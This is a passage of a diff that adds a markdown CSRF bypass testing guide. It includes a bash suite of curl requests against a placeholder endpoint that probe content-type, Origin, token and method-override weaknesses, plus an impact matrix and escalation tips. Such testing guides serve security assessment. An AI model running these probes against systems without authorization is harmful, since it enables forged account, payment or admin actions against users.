|
451
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
452
|
+
-H "Content-Type: application/json" \
|
|
453
|
+
-d '{"test":1}' -v 2>&1 | grep "HTTP/"
|
|
454
|
+
```
|
|
455
|
+
|
|
456
|
+
---
|
|
457
|
+
|
|
458
|
+
## Complete CSRF Bypass Testing Checklist
|
|
459
|
+
|
|
460
|
+
```bash
|
|
461
|
+
# Run the complete bypass test suite against a specific endpoint
|
|
462
|
+
TARGET_ENDPOINT="https://TARGET/api/sensitive-action"
|
|
463
|
+
SESSION_COOKIE="cookie_name=cookie_value"
|
|
464
|
+
|
|
465
|
+
echo "=== CSRF Bypass Test Suite ==="
|
|
466
|
+
echo "Target: $TARGET_ENDPOINT"
|
|
467
|
+
echo ""
|
|
468
|
+
|
|
469
|
+
echo "1. JSON Content-Type (no CSRF token)..."
|
|
470
|
+
curl -sk -X POST "$TARGET_ENDPOINT" \
|
|
471
|
+
-H "Content-Type: application/json" \
|
|
472
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
473
|
+
-d '{"action":"test"}' -o /dev/null -w "[JSON] Status: %{http_code}\n"
|
|
474
|
+
|
|
475
|
+
echo "2. text/plain Content-Type..."
|
|
476
|
+
curl -sk -X POST "$TARGET_ENDPOINT" \
|
|
477
|
+
-H "Content-Type: text/plain" \
|
|
478
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
479
|
+
-d '{"action":"test"}' -o /dev/null -w "[text/plain] Status: %{http_code}\n"
|
|
480
|
+
|
|
481
|
+
echo "3. Null Origin..."
|
|
482
|
+
curl -sk -X POST "$TARGET_ENDPOINT" \
|
|
483
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
484
|
+
-H "Origin: null" \
|
|
485
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
486
|
+
-d "action=test" -o /dev/null -w "[Null Origin] Status: %{http_code}\n"
|
|
487
|
+
|
|
488
|
+
echo "4. Missing Origin header..."
|
|
489
|
+
curl -sk -X POST "$TARGET_ENDPOINT" \
|
|
490
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
491
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
492
|
+
-d "action=test&_csrf=INVALID" -o /dev/null -w "[Invalid CSRF token] Status: %{http_code}\n"
|
|
493
|
+
|
|
494
|
+
echo "5. Missing CSRF token entirely..."
|
|
495
|
+
curl -sk -X POST "$TARGET_ENDPOINT" \
|
|
496
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
497
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
498
|
+
-d "action=test" -o /dev/null -w "[No CSRF token] Status: %{http_code}\n"
|
|
499
|
+
|
|
500
|
+
echo "6. Empty CSRF token..."
|
|
501
|
+
curl -sk -X POST "$TARGET_ENDPOINT" \
|
|
502
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
503
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
504
|
+
-d "action=test&_csrf=" -o /dev/null -w "[Empty CSRF token] Status: %{http_code}\n"
|
|
505
|
+
|
|
506
|
+
echo "7. Method override..."
|
|
507
|
+
curl -sk -X POST "$TARGET_ENDPOINT?_method=DELETE" \
|
|
508
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
509
|
+
-H "Cookie: $SESSION_COOKIE" \
|
|
510
|
+
-d "action=test" -o /dev/null -w "[Method Override] Status: %{http_code}\n"
|
|
511
|
+
```
|
|
512
|
+
|
|
513
|
+
---
|
|
514
|
+
|
|
515
|
+
## Impact Escalation Matrix
|
|
516
|
+
|
|
517
|
+
| Bypass Found | Impact | Severity |
|
|
518
|
+
|-------------|--------|----------|
|
|
519
|
+
| JSON bypass on /api/delete-account | Full account deletion without user interaction | HIGH |
|
|
520
|
+
| JSON bypass on /api/payment | Unauthorized payment initiation | CRITICAL |
|
|
521
|
+
| JSON bypass on /api/profile | Email/password change | HIGH |
|
|
522
|
+
| JSON bypass on internal VAT API | Unrestricted API abuse | LOW |
|
|
523
|
+
| Null Origin on /api/admin/* | Admin action execution | CRITICAL |
|
|
524
|
+
| SameSite=Lax GET logout | Force logout (DoS-level) | LOW-MEDIUM |
|
|
525
|
+
| Token not session-bound | Phishing-based CSRF without own account | MEDIUM |
|
|
526
|
+
|
|
527
|
+
---
|
|
528
|
+
|
|
529
|
+
## Pro Tips
|
|
530
|
+
|
|
531
|
+
1. **Always test JSON CSRF first** — it's the most common modern CSRF bypass and automated scanners never catch it.
|
|
532
|
+
2. **400 ≠ CSRF protected** — A 400 "Bad Request" after JSON submission usually means CSRF passed validation but the payload was wrong. Refine the payload, not the CSRF approach.
|
|
533
|
+
3. **415 Unsupported Media Type** — The endpoint doesn't accept JSON but CSRF is bypassed via `text/plain`. Both can carry the same payload.
|
|
534
|
+
4. **Check framework-specific protection** — Express `csurf` middleware can be configured to exclude JSON content-type. Javalin, Spring, Rails all have different default behaviors.
|
|
535
|
+
5. **For internal services with CSRF** — Internal services often implement CSRF tokens for their HTML forms but forget to enforce them for programmatic API access from other services. JSON bypass is even more likely here.
|
|
536
|
+
6. **Combine with CORS wildcard** — If an endpoint has CORS `Access-Control-Allow-Origin: *` AND no CSRF protection for JSON, the impact is highest: full read/write from any origin.
|